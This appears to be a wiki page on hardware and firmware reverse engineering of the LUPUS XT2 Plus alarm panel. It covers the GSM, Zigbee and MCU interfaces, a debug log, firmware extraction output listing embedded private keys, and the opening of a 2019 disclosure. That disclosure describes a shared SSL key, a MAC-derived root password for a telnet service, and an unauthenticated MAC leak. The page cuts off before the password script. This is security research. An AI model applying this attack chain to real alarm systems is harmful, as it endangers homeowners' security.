&amp;lt;h3&amp;gt;GSM&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The LUPUS XT2 Plus is equipped with a &amp;quot;CINERON BGS2-W&amp;quot; 2G Wireless Module. This GSM 850/900/1800/1900 GPRS module has the unique FCC ID [[https://fccid.io/QIPBGS2|QIPBGS2]].  The board also provides a designated interface for accessing the GSM module.  However, this interface is not clearly marked. This is the second white 3-pin connector which is located in the lower right corner, or just above the GSM module on the right. By means of UART commands can be injected into the module. As you can see on the [[#Bootlog]], the output of the GSM module is displayed there together with the output of the [[#MCU]]. But the input is only done via the connector just mentioned. Just google &amp;quot;BGS2-W AT Command Set&amp;quot; for instructions and explanations.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Example Output&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
[DBG ][ALRM]HA regular check time: now=1970/1/1 1:10:0&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CSQ&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CSQ: 99,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][ALRM]HA regular check time: now=1970/1/1 1:11:0&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CSQ&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CSQ: 99,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[Disconnected]&lt;br /&gt;
[Connected]&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=149, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=151, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=153, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[ERR!][NET ]http ssl send connect fail&lt;br /&gt;
[ERR!][WNET]GCM: ret=-99&lt;br /&gt;
[INFO][RPT ]url=&#039;gcm://0@APA91bGDleDckmX774Lr87-bPuoVu-jJerUQ1HPDCqU0DZj71gL3OZwJzI_YgOV3CP6vb_A99KLdjV_885mN6y4CW7qzijZyo8BBo4HRq4twW7yGj7LNATFRtriYq3-QcMbArxhWUDTZ/TEXT&#039;, ret=-702, reason=&#039;{LOG_MS&lt;br /&gt;
[INFO][RPT ]reporting end&lt;br /&gt;
[INFO][ALRM]report ok: id=6524&lt;br /&gt;
[DBG ][ALRM]common: seq=155, attr=0, act=OnTriggerRestore,&amp;quot;RF:04090810&amp;quot;,&amp;quot;9&amp;quot;,&amp;quot;4&amp;quot;,&amp;quot;1&amp;quot;,&amp;quot;0409081e1e02&amp;quot;&lt;br /&gt;
[DBG ][ALRM]singlearea: seq=155, attr=0, act=OnTriggerRestore,&amp;quot;RF:04090810&amp;quot;,&amp;quot;9&amp;quot;,&amp;quot;4&amp;quot;,&amp;quot;1&amp;quot;,&amp;quot;0409081e1e02&amp;quot;&lt;br /&gt;
[DBG ][ALRM]common: seq=157, attr=0, act=OnTamper,&amp;quot;RF:04090810&amp;quot;,&amp;quot;9&amp;quot;,&amp;quot;4&amp;quot;,&amp;quot;1&amp;quot;,&amp;quot;0409081e1e02&amp;quot;&lt;br /&gt;
[DBG ][ALRM]singlearea: seq=157, attr=0, act=OnTamper,&amp;quot;RF:04090810&amp;quot;,&amp;quot;9&amp;quot;,&amp;quot;4&amp;quot;,&amp;quot;1&amp;quot;,&amp;quot;0409081e1e02&amp;quot;&lt;br /&gt;
[INFO][RPT ]reporting start&lt;br /&gt;
[INFO][ALRM]remove report: 5525&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][RPT ]retry #0&lt;br /&gt;
[INFO][RPT ]scheme:apns:// host:9420d57ba5cdac9ec8a9c95714ad5d5b26eedd5147beb12f78d1f47c0d5b9e03 port:80 acct:0&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=161, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=163, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=165, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[DBG ][ALRM]HA regular check time: now=1970/1/1 1:15:0&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=167, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=170, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=172, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=174, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][ALRM]remove report: 5526&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=177, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=181, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=183, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=185, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=187, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CSQ&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CSQ: 99,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=191, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=193, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=195, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=197, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[ERR!][NET ]APNS connect fail&lt;br /&gt;
[INFO][RPT ]url=&#039;apns://0@9420d57ba5cdac9ec8a9c95714ad5d5b26eedd5147beb12f78d1f47c0d5b9e03/TEXT&#039;, ret=-702, reason=&#039;{LOG_MSG_RPT_SMS_FAIL}&#039;, event=383, text=&#039;Area 1  Zone 3 Küche Hinten 2: Sabotage&lt;br /&gt;
[INFO][RPT ]scheme:gcm:// host:APA91bEsVXbFspyyBj6wJHzT7xAjifb-sQqu5eR3nStDFgHtLClVb3ZtHKhg2gWvpDtO3O4ib2u4oUxBF_3Cn0SmuomU4GO_6OwDoo7cf483PVCVeT_OAuhg563i1jD5S2sfkd1dWhf7 port:80 acct:0&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=200, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=202, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=204, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=206, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[ERR!][NET ]http ssl send connect fail&lt;br /&gt;
[ERR!][WNET]GCM: ret=-99&lt;br /&gt;
[INFO][RPT ]url=&#039;gcm://0@APA91bEsVXbFspyyBj6wJHzT7xAjifb-sQqu5eR3nStDFgHtLClVb3ZtHKhg2gWvpDtO3O4ib2u4oUxBF_3Cn0SmuomU4GO_6OwDoo7cf483PVCVeT_OAuhg563i1jD5S2sfkd1dWhf7/TEXT&#039;, ret=-702, reason=&#039;{LOG_MS&lt;br /&gt;
[INFO][RPT ]scheme:gcm:// host:APA91bGDleDckmX774Lr87-bPuoVu-jJerUQ1HPDCqU0DZj71gL3OZwJzI_YgOV3CP6vb_A99KLdjV_885mN6y4CW7qzijZyo8BBo4HRq4twW7yGj7LNATFRtriYq3-QcMbArxhWUDTZ port:80 acct:0&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=209, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=211, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=213, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=216, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[ERR!][NET ]http ssl send connect fail&lt;br /&gt;
[ERR!][WNET]GCM: ret=-99&lt;br /&gt;
[INFO][RPT ]url=&#039;gcm://0@APA91bGDleDckmX774Lr87-bPuoVu-jJerUQ1HPDCqU0DZj71gL3OZwJzI_YgOV3CP6vb_A99KLdjV_885mN6y4CW7qzijZyo8BBo4HRq4twW7yGj7LNATFRtriYq3-QcMbArxhWUDTZ/TEXT&#039;, ret=-702, reason=&#039;{LOG_MS&lt;br /&gt;
[INFO][RPT ]reporting end&lt;br /&gt;
[INFO][RPT ]reporting start&lt;br /&gt;
[DBG ][RPT ]retry #0&lt;br /&gt;
[DBG ][RPT ]filter ignore:&#039;apns://0@9420d57ba5cdac9ec8a9c95714ad5d5b26eedd5147beb12f78d1f47c0d5b9e03/TEXT&#039;&lt;br /&gt;
[DBG ][RPT ]filter ignore:&#039;gcm://0@APA91bEsVXbFspyyBj6wJHzT7xAjifb-sQqu5eR3nStDFgHtLClVb3ZtHKhg2gWvpDtO3O4ib2u4oUxBF_3Cn0SmuomU4GO_6OwDoo7cf483PVCVeT_OAuhg563i1jD5S2sfkd1dWhf7/TEXT&#039;&lt;br /&gt;
[DBG ][RPT ]filter ignore:&#039;gcm://0@APA91bGDleDckmX774Lr87-bPuoVu-jJerUQ1HPDCqU0DZj71gL3OZwJzI_YgOV3CP6vb_A99KLdjV_885mN6y4CW7qzijZyo8BBo4HRq4twW7yGj7LNATFRtriYq3-QcMbArxhWUDTZ/TEXT&#039;&lt;br /&gt;
[INFO][RPT ]reporting end&lt;br /&gt;
[INFO][ALRM]report ok: id=6525&lt;br /&gt;
[INFO][ALRM]report ok: id=6526&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][ALRM]HA regular check time: now=1970/1/1 1:16:0&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Zigbee&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The board offers a provided interface to update the ZB component. This is marked with the label &amp;quot;ZB-UPDATE&amp;quot;. These 6 consecutive holes can be found on the front view of the PCB at the bottom left. The actual ZB module is located on the back. This is a [[http://climax.com.tw/zbh-sa.php|ZBH-SA]] v1.1 module from Climax, built together with Texas Instruments&#039; CC530 wireless SoC and CC2592 range extender as the core. The module is distributed under the FCC ID [[https://fccid.io/GX9ZBH-SA|GX9ZBH-SA]] and a number of documents, such as user manuals and internal photos, can be viewed at [[https://fccid.io/GX9ZBH-SA|FCC]].&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
TODO: Photo&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The module has a &amp;quot;Winbond 25Q16DVSIG&amp;quot; serial flash memory chip with SPI in package type SOP8. This type of chip can be used without soldering with a corresponding SOP8 clip (TODO: Link) which is connected to the external leads and read by a suitable programmer (TODO: Link) to get the current firmware.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;MCU&amp;lt;/h3&amp;gt;&lt;br /&gt;
There is another processor located at the bottom right of the PCB front view. This chips is a Megawin &amp;quot;MPC89L515AF&amp;quot; Microcontroller, 8-Bit, FLASH, 8051 CPU, 45MHz, CMOS and PQFP44 package.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Firmware&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Download&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;h5&amp;gt;Current Version&amp;lt;/h5&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT1 Plus Main Panel&amp;lt;/u&amp;gt;: https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT1-Plus-Starter-Kit-p.html#Downloads&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT2 Main Panel&amp;lt;/u&amp;gt;: https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT2-Plus-Main-Panel-p.html#Downloads&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT2 Plus Main Panel&amp;lt;/u&amp;gt;: https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUS-XT2-Plus-Main-Panel-p.html#Downloads&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT3 Main Panel&amp;lt;/u&amp;gt;: https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUSEC-XT3-Main-Panel-p.html#Downloads&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Vendor&#039;s Note&amp;lt;/b&amp;gt;: Please always delete your browsers cache after installation.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h5&amp;gt;Known Versions&amp;lt;/h5&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT1 Plus Main Panel&amp;lt;/u&amp;gt;:&lt;br /&gt;
* v0.0.3.2B: https://www.lupus-electronics.de/shop/documents/XT1Plus_lu-0.0.3.2B.zip (Accessed 29. Febuary 2020)&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT2 Main Panel&amp;lt;/u&amp;gt;:&lt;br /&gt;
* v0.0.3.2B: https://www.lupus-electronics.de/shop/documents/XT2_lu-0.0.3.2B.zip (Accessed 29. Febuary 2020)&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT2 Plus Main Panel&amp;lt;/u&amp;gt;:&lt;br /&gt;
* v0.0.3.2B: https://www.lupus-electronics.de/shop/documents/XT2Plus_lu-0.0.3.2B.zip (Accessed 29. Febuary 2020)&lt;br /&gt;
* v0.0.2.19E: No download available.&lt;br /&gt;
&amp;lt;u&amp;gt;LUPUS - XT3 Main Panel&amp;lt;/u&amp;gt;:&lt;br /&gt;
* v0.1.3.2B: https://www.lupus-electronics.de/shop/documents/XT3_lu-0.1.3.2B.zip (Accessed 29. Febuary 2020)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Extraction&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Smart Home Alarm Panel&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
$ binwalk -Mre  --dd=&amp;quot;.*&amp;quot; hpgw.bin&lt;br /&gt;
&lt;br /&gt;
MD5 Checksum:  badf860594c668b937bff2559ef79313&lt;br /&gt;
Signatures:    391&lt;br /&gt;
&lt;br /&gt;
DECIMAL       HEXADECIMAL     DESCRIPTION&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
1279234       0x138502        Unix path: /sys/bus/usb/devices&lt;br /&gt;
1279309       0x13854D        Unix path: /sys/bus/usb/devices/1-1:1.0/uevent&lt;br /&gt;
1290407       0x13B0A7        Ubiquiti firmware header, third party, ~CRC32: 0x61626C65, version: &amp;quot;_PIPE_FAIL&amp;quot;&lt;br /&gt;
1301308       0x13DB3C        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1302108       0x13DE5C        Unix path: /sys/bus/usb/devices/usb1/authorized&lt;br /&gt;
1316976       0x141870        Neighborly text, &amp;quot;neighbor_zr&amp;quot;&lt;br /&gt;
1317004       0x14188C        Neighborly text, &amp;quot;NeighborRouter_%sSignal&amp;quot;&lt;br /&gt;
1322284       0x142D2C        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1322432       0x142DC0        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1336546       0x1464E2        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1336826       0x1465FA        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1337334       0x1467F6        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1343521       0x148021        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1349090       0x1495E2        Unix path: /etc/ppp/pap-secrets&lt;br /&gt;
1350445       0x149B2D        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1351752       0x14A048        Base64 standard index table&lt;br /&gt;
1351832       0x14A098        Base64 standard index table&lt;br /&gt;
1363367       0x14CDA7        Neighborly text, &amp;quot;neighbor_zr&amp;quot;: &amp;quot;%s&amp;quot;, %s&amp;quot;, &amp;quot;&lt;br /&gt;
1363495       0x14CE27        Neighborly text, &amp;quot;neighbor_zr&amp;quot;: &amp;quot;%s&amp;quot;}g_st&amp;quot;: %d&amp;quot;&lt;br /&gt;
1389083       0x15321B        HTML document header&lt;br /&gt;
1390640       0x153830        XML document, version: &amp;quot;1.0&amp;quot;&lt;br /&gt;
1391103       0x1539FF        Unix path: /usr/share/udhcpc&lt;br /&gt;
1408086       0x157C56        PEM certificate&lt;br /&gt;
1409330       0x158132        PEM certificate&lt;br /&gt;
1410214       0x1584A6        PEM EC private key&lt;br /&gt;
1410594       0x158622        PEM certificate&lt;br /&gt;
1411410       0x158952        PEM EC private key&lt;br /&gt;
1411646       0x158A3E        PEM certificate&lt;br /&gt;
1412478       0x158D7E        PEM EC private key&lt;br /&gt;
1412742       0x158E86        PEM certificate&lt;br /&gt;
1414050       0x1593A2        PEM RSA private key&lt;br /&gt;
1415850       0x159AAA        PEM certificate&lt;br /&gt;
1417050       0x159F5A        PEM RSA private key&lt;br /&gt;
1418758       0x15A606        PEM certificate&lt;br /&gt;
1419970       0x15AAC2        PEM RSA private key&lt;br /&gt;
1421706       0x15B18A        PEM certificate&lt;br /&gt;
1423012       0x15B6A4        PEM certificate&lt;br /&gt;
1445661       0x160F1D        PEM RSA private key&lt;br /&gt;
1445725       0x160F5D        PEM EC private key&lt;br /&gt;
1448201       0x161909        SHA256 hash constants, little endian&lt;br /&gt;
1450717       0x1622DD        Base64 standard index table&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Vulnerability Reports&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;CVE1&amp;quot; class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.0;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Title&amp;lt;/b&amp;gt;: Various vulnerabilities in Lupusec XT2 Plus home alarm system&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;From&amp;lt;/b&amp;gt;: Dan Fabian &amp;lt;dan.fabian@gmail com&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Date&amp;lt;/b&amp;gt;: Thu, 4 Apr 2019 09:20:46 +0200&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
=======================================================================&lt;br /&gt;
              title: Multiple Vulnerabilities&lt;br /&gt;
            product: Lupusec XT2 Plus Main Panel&lt;br /&gt;
            version: Firmware 0.0.2.19E&lt;br /&gt;
           homepage: https://www.lupus-electronics.de/&lt;br /&gt;
              found: 01/2019&lt;br /&gt;
                 by: D. Fabian&lt;br /&gt;
=======================================================================&lt;br /&gt;
&lt;br /&gt;
Vendor description:&lt;br /&gt;
-------------------&lt;br /&gt;
&amp;quot;The new LUPUSEC-XT2 Plus is an innovative burglar alarm, smart home,&lt;br /&gt;
and video surveillance system that is reliable, easy to use, and&lt;br /&gt;
extremely versatile. It is the operating system for your building.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Source:&lt;br /&gt;
https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUSEC-XT2-Plus-Main-Panel-p.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerability description:&lt;br /&gt;
-----------------------------------&lt;br /&gt;
1) Shared SSL certificate&lt;br /&gt;
All devices share the same SSL key. Anyone who is capable of&lt;br /&gt;
downloading the firmware off the internet can perform a MITM attack.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2) Root password derived from MAC address&lt;br /&gt;
While the root password is unique per device, it is derived from the&lt;br /&gt;
MAC address and can be fairly easily calculated off a hard-coded&lt;br /&gt;
secret. The panel runs a telnet server on port 55023, where the&lt;br /&gt;
calculated root password works. Additionally&lt;br /&gt;
https://alarm/action/welcomeGet discloses the MAC address without&lt;br /&gt;
authentication over the web interface. In combination, all of this is&lt;br /&gt;
sufficient to authenticate as root to any XT2 device exposed directly&lt;br /&gt;
on the internet.&lt;br /&gt;
&lt;br /&gt;
The below small Python script returns the root password for the given&lt;br /&gt;
MAC address.&lt;br /&gt;
&lt;br /&gt;
